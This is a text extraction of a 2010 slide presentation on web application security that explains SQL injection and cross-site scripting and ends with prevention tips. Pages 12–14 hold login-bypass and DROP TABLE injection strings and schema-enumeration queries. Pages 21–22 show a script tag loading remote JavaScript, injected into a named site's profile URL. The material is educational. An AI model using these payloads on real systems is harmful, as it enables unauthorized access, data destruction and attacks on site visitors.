24
Software Security

Web security 2010

Embed Size (px)

DESCRIPTION

One of my short presentation on web security. (Demo) - Sql injection - Cross site scripting.

Citation preview

Page 1: Web security 2010

Software Security

Page 2: Web security 2010

What is software Security?

Application security encompasses measures taken throughout the application's life-cycle to prevent exceptions in the security policy of an application or the underlying system (vulnerabilities) through flaws in the design, development, deployment, upgrade, or maintenance of the application, .

Page 3: Web security 2010

Why Software security is important?

Leakage of Sensitive data. Crash of entire application or database. Fixing issues after the attack will be more expensive

and time consuming. Quality of the product.

Page 4: Web security 2010

Common vulnerabilities in web application

SQL Injection Cross-Site Scripting(XSS) Buffer overflows HTTP response splitting

Page 5: Web security 2010

2010 statistics of web Vulnerability

Page 6: Web security 2010

What is SQL injection?

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

Page 7: Web security 2010

How it works?

Page 8: Web security 2010

Demonstration

Page 9: Web security 2010
Page 10: Web security 2010
Page 11: Web security 2010

Login using SQL injection

"SELECT * FROM users WHERE name = ' " + userName + " ' AND password = ' “+Password+“ ';"

Page 12: Web security 2010

a' or 't'='t 1' or 1=1

Page 13: Web security 2010

SELECT * FROM users WHERE name = ' ' AND

password = ' ' ;

SELECT * FROM users WHERE name = 'admin' AND password = 'pass123' ;

SELECT * FROM users WHERE name = ' a' OR 't'='t ' AND password = ' a' OR 't'='t ';

SELECT * FROM users WHERE name = ' a' OR 't'='t ' AND password = ' a' OR 't'='t ';

DROP TABLE users; - -';

Page 14: Web security 2010

More exploits using SQL injection

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='customers'

Page 15: Web security 2010

XSS( Cross-Site Scripting)

Page 16: Web security 2010

Cross-site Scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users.

Page 17: Web security 2010

How it works

Script Injection Same as before, but instead of placing code in URL, script code is

saved on the application website and stored in database using their own non-validated forms

When that data is retrieved from database and users load that webpage the code executes and attack occurs

User would never know the code was executed without viewing the source of each webpage, since the link looks valid

The application website owner is potentially liable since the attack code is stored on their site

Page 18: Web security 2010
Page 19: Web security 2010
Page 20: Web security 2010
Page 21: Web security 2010

<SCRIPT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Page 22: Web security 2010

http://www.easydoc.com.au/test/personalprofile.action

?address1=

&suburb=

&state=

&zipcode=1

&homePhone=

&mobilenumber=

&reminderOption=0

&title=Dr

&firstname=<SCRIPT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

&lastname=Doctor

&photoupload=

&smsOption=0

&type=GP

&reqNo=82

Page 23: Web security 2010

Preventing SQL injection and XSS

SCRUB Error handling

Error messages divulge information that can be used by hacker VALIDATE all user entered parameters CHECK data types and lengths DISALLOW unwanted data (e.g. HTML tags, JavaScript) ESCAPE questionable characters (ticks, --,semi-colon, brackets, etc.)

Page 24: Web security 2010

Thank You